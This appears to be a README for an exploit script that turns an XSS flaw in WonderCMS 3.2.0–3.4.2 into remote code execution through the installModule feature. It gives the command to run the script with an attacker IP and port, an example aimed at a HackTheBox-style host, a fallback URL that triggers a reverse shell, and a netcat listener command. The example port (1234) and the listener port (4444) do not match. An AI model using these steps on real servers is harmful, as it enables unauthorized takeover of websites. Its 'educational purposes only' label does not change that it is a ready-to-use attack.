
Xss injection, WonderCMS 3.2.0 -3.4.2
WonderCMS v3.2.0 - v3.4.2 is vulnerable. Remote attackers can take full control of the server using a Cross-Site Scripting (XSS) exploit (For educational purposes only ). Here's the game plan:
The exploit abuses the installModule component of WonderCMS to sneak a crafted script that runs arbitrary code.
python3 exploit.py <URL> <YOUR_IP> <YOUR_PORT>
Example
python3 exploit.py http://sea.htb/loginURL 10.10.14.20 1234
If the reverse shell doesn’t trigger automatically, just head over to:
http://<TARGET_URL>/themes/revshell-main/rev.php?lhost=<YOUR_IP>&lport=<YOUR_PORT>
Remember start a listener using the following command:
nc -lvp 4444
prodigiousMind for discovering and reporting the vulnerability https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413